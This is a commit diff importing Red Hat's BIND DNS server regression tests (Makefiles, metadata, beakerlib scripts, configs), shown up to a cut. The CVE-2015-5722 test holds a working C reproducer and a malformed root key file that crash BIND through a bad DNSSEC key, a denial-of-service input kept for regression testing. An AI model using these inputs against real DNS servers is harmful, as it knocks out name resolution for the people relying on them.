Import tests from Red Hat tests repository

This commit is contained in:
Petr Menšík 2020-04-14 23:40:11 +02:00
commit c068eec327
365 changed files with 348448 additions and 52 deletions

View file

@ -0,0 +1,70 @@
/*
* compile with:
*
* gcc -g -O2 -Wall -I/usr/include/bind9 CVE-2015-5722.c -lisc -ldns
*
* Crash is caused by not decrementing the r.length field in
* openssldh_fromdns.
*
* PRIVATE EXPLOIT -- DO NOT SHARE
* */
#include <isc/mem.h>
#include <isc/buffer.h>
#include <isc/entropy.h>
#include <dst/dst.h>
#include <dns/name.h>
#include <dns/fixedname.h>
#include <err.h>
int
main(void)
{
isc_mem_t *mctx = NULL;
if (isc_mem_create(0, 0, &mctx) != ISC_R_SUCCESS) {
errx(1, "isc_mem_create");
}
isc_entropy_t *ectx = NULL;
if (isc_entropy_create(mctx, &ectx) != ISC_R_SUCCESS) {
errx(1, "isc_entropy_create");
}
if (dst_lib_init(mctx, ectx, 0) != ISC_R_SUCCESS) {
errx(1, "dst_lib_init");
}
isc_buffer_t b;
isc_buffer_init(&b, "test.", 5);
isc_buffer_add(&b, 5);
dns_fixedname_t fname;
dns_fixedname_init(&fname);
dns_name_t *name = dns_fixedname_name(&fname);
if (dns_name_fromtext(name, &b, NULL, 0, NULL) != ISC_R_SUCCESS) {
errx(1, "dns_name_fromtext");
}
unsigned char blob[] = {
0, 0, /* flags */
0, /* proto */
2, /* alg */
0, 20, /* plen */
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
0, 20, /* glen */
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
0, 20, /* publen */
/* missing pub field */
};
isc_buffer_init(&b, blob, sizeof(blob));
isc_buffer_add(&b, sizeof(blob));
dst_key_t *key = NULL;
isc_result_t ret = dst_key_fromdns(name, /* class */ 1, &b, mctx, &key);
if (ret != ISC_R_SUCCESS) {
errx(1, "dst_key_fromdns: %s", isc_result_totext(ret));
}
return 0;
}

View file

@ -0,0 +1,63 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/CVE-2015-5722
# Description: malformed DNSSEC key failed assertion denial of service
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/CVE-2015-5722
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.root.key CVE-2015-5722.c
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: malformed DNSSEC key failed assertion denial of service" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 15m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-libs bind-devel gcc" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: yes" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Releases: -RHEL4" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,3 @@
PURPOSE of /CoreOS/bind/Regression/CVE-2015-5722
Description: malformed DNSSEC key failed assertion denial of service
Author: Petr Sklenar <psklenar@redhat.com>

View file

@ -0,0 +1,27 @@
summary: malformed DNSSEC key failed assertion denial of service
description: ''
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-libs
- bind-devel
- gcc
duration: 15m
enabled: true
tag:
- ExpIgnorePass
- NoRHEL4
- TIP_fedora_fail
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4: False
distro < rhel-5.10: False
distro = rhel-5.9: False
distro = rhel-5.9.aus: False
extra-summary: /CoreOS/bind/Regression/CVE-2015-5722
extra-task: /CoreOS/bind/Regression/CVE-2015-5722
extra-nitrate: TC#0500553

View file

@ -0,0 +1,5 @@
# Alternative reproducer.
# Place this file into /etc/named.root.key and start named.
managed-keys {
. initial-key 257 3 2 "ABRAQEBAQEBAQEBAQEBAQEBAQEBAQAAUQEBAQEBAQEBAQEBAQEBAQEBAQEAAFA==";
};

View file

@ -0,0 +1,62 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/CVE-2015-5722
# Description: malformed DNSSEC key failed assertion denial of service
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlRun 'rpm -q bind || rpm -q bind97' 0 "Checking for presence of bind or bind97 RPM"
rlPhaseEnd
rlPhaseStartTest
# TODO: For RHEL-5 the test can still be done if the key file is added to named.conf
if rlIsRHEL '>5'; then
rlRun "rlServiceStop named"
rlRun "rlFileBackup /etc/named.root.key"
rlRun "cat named.root.key > /etc/named.root.key"
rlServiceStart named
# FIXME: Quick and ugly.
rlRun "grep -E ' (named|named-sdb)\[' /var/log/messages | tail -25 | grep 'public key is invalid'" 0 "Reproducer A"
rlRun "rlFileRestore"
fi
rlRun "rlServiceStart named"
rlRun "gcc -g -O2 -Wall -I/usr/include/bind9 CVE-2015-5722.c -lisc -ldns"
./a.out &> log-QA-CVE-2015-5722
rlRun "grep 'public key is invalid\$' log-QA-CVE-2015-5722" 0 "Reproducer B"
rlPhaseEnd
rlPhaseStartCleanup
rlRun "rlServiceRestore named"
rm -f log-QA-CVE-2015-5722 a.out
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
# Description: Test for BZ#1753259 (Regression BIND 9.11 listens on []53 even it isn't)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1753259 (Regression BIND 9.11 listens on []53 even it isn't)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 15m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1753259" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
Description: Test for BZ#1753259 (Regression BIND 9.11 listens on []53 even it isn't)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: Regression: BIND 9.11 listens on [::]:53 even it isn't configured to do so
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1753259

View file

@ -0,0 +1,22 @@
summary: Test for BZ#1753259 (Regression BIND 9.11 listens on []53 even it isn't)
description: |
Bug summary: Regression: BIND 9.11 listens on [::]:53 even it isn't configured to do so
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1753259
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
duration: 15m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPpass
- TIPpass_infra
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
extra-task: /CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
extra-nitrate: TC#0605275

View file

@ -0,0 +1,61 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/Regression-BIND-9-11-listens-on-53-even-it
# Description: Test for BZ#1753259 (Regression BIND 9.11 listens on []53 even it isn't)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
cat << EOF > /etc/named.my
options {
listen-on port 53 { 127.0.0.1; };
};
EOF
rlRun "named -u named -d10 -c /etc/named.my"
rlPhaseEnd
rlPhaseStartTest
rlRun "pgrep named"
rlRun "ss -lnp | grep named | grep :53"
if rpm -q rpm | grep el7;then
rlRun "ss -lnp -f inet6 | grep named | grep :53" 1 "EL7 ONLY : NO LISTENING ON IPv6"
else
rlRun "ss -lnp -f inet6 | grep named | grep :53" 0 "LISTENING ON IPv6 by default"
fi
rlPhaseEnd
rlPhaseStartCleanup
rm -rf /etc/named.my
rlRun "pkill named"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
# Description: Test for BZ#1631371 (bind Incorrect documentation of krb5-subdomain and)
# Author: Robin Hack <rhack@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Robin Hack <rhack@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1631371 (bind Incorrect documentation of krb5-subdomain and)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 20m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1631371" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
Description: Test for BZ#1631371 (bind Incorrect documentation of krb5-subdomain and)
Author: Robin Hack <rhack@redhat.com>
Bug summary: bind: Incorrect documentation of krb5-subdomain and ms-subdomain update policies [rhel-7]
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1631371

View file

@ -0,0 +1,22 @@
summary: Test for BZ#1631371 (bind Incorrect documentation of krb5-subdomain and)
description: |
Bug summary: bind: Incorrect documentation of krb5-subdomain and ms-subdomain update policies [rhel-7]
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1631371
contact: None <rhack@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
duration: 20m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
extra-task: /CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
extra-nitrate: TC#0602232

View file

@ -0,0 +1,50 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bind-Incorrect-documentation-of-krb5-subdomain
# Description: Test for BZ#1631371 (bind Incorrect documentation of krb5-subdomain and)
# Author: Robin Hack <rhack@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlPhaseEnd
rlPhaseStartTest
if rlIsRHEL '>=8'; then
rlRun "grep 'grant EXAMPLE.COM ms-self . A AAAA' /usr/share/doc/bind/Bv9ARM*"
else
rlRun "grep 'grant EXAMPLE.COM ms-self . A AAAA' /usr/share/doc/bind-*/Bv9ARM*"
fi
rlPhaseEnd
rlPhaseStartCleanup
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,63 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
# Description: Test for BZ#1064045 (bindutils nsupdate -r SEGVs)
# Author: Juraj Marko <jmarko@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2014 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Juraj Marko <jmarko@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1064045 (bindutils nsupdate -r SEGVs)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1064045" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
Description: Test for BZ#1064045 (bindutils nsupdate -r SEGVs)
Author: Juraj Marko <jmarko@redhat.com>
Bug summary: bindutils nsupdate -r SEGVs
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1064045

View file

@ -0,0 +1,21 @@
summary: Test for BZ#1064045 (bindutils nsupdate -r SEGVs)
description: |
Bug summary: bindutils nsupdate -r SEGVs
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1064045
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
duration: 5m
enabled: true
tag:
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-5 : False
extra-summary: /CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
extra-task: /CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
extra-nitrate: TC#0399715

View file

@ -0,0 +1,50 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1064045-bindutils-nsupdate-r-SEGVs
# Description: Test for BZ#1064045 (bindutils nsupdate -r SEGVs)
# Author: Juraj Marko <jmarko@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2014 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlPhaseEnd
rlPhaseStartTest
rlRun "timeout 5 nsupdate -r 5 &>/dev/null" 124,0 "This will wait 5 sec, if and end with 124 if it segfault it return 139"
rlPhaseEnd
rlPhaseStartCleanup
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
# Description: Test for BZ#1112356 (RRL slip behavior is incorrect when set to 1)
# Author: Tereza Cerna <tcerna@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
export TESTVERSION=1.1
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.conf
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Tereza Cerna <tcerna@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1112356 (RRL slip behavior is incorrect when set to 1)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 10m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1112356" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
Description: Test for BZ#1112356 (RRL slip behavior is incorrect when set to 1)
Author: Tereza Cerna <tcerna@redhat.com>
Bug summary: RRL slip behavior is incorrect when set to 1
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1112356

View file

@ -0,0 +1,24 @@
summary: Test for BZ#1112356 (RRL slip behavior is incorrect when set to 1)
description: |
Bug summary: RRL slip behavior is incorrect when set to 1
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1112356
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
duration: 10m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail
- destructive
- notip
relevancy: |
distro = rhel-4, rhel-5: False
distro < rhel-6.7: False
extra-summary: /CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
extra-task: /CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
extra-nitrate: TC#0465593

View file

@ -0,0 +1,71 @@
//
// named.conf
//
// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS
// server as a caching only nameserver (as a localhost DNS resolver only).
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.
//
options {
listen-on port 53 { 127.0.0.1; };
listen-on-v6 port 53 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";
managed-keys-directory "/var/named/dynamic";
rate-limit {
responses-per-second 5;
all-per-second 0;
window 5;
log-only no;
ipv4-prefix-length 24;
ipv6-prefix-length 56;
slip 1;
max-table-size 10000;
min-table-size 1000;
};
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
print-time yes;
print-severity yes;
print-category yes;
};
category default { default_debug; };
category general { default_debug; };
category database { default_debug; };
category security { default_debug; };
category config { default_debug; };
category resolver { default_debug; };
category client { default_debug; };
category unmatched { default_debug; };
category network { default_debug; };
category queries { default_debug; };
category query-errors { default_debug; };
category dispatch { default_debug; };
category rate-limit { default_debug; };
};
zone "." IN {
type hint;
file "named.ca";
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

View file

@ -0,0 +1,65 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1112356-RRL-slip-behavior-is-incorrect-when-set-to-1
# Description: Test for BZ#1112356 (RRL slip behavior is incorrect when set to 1)
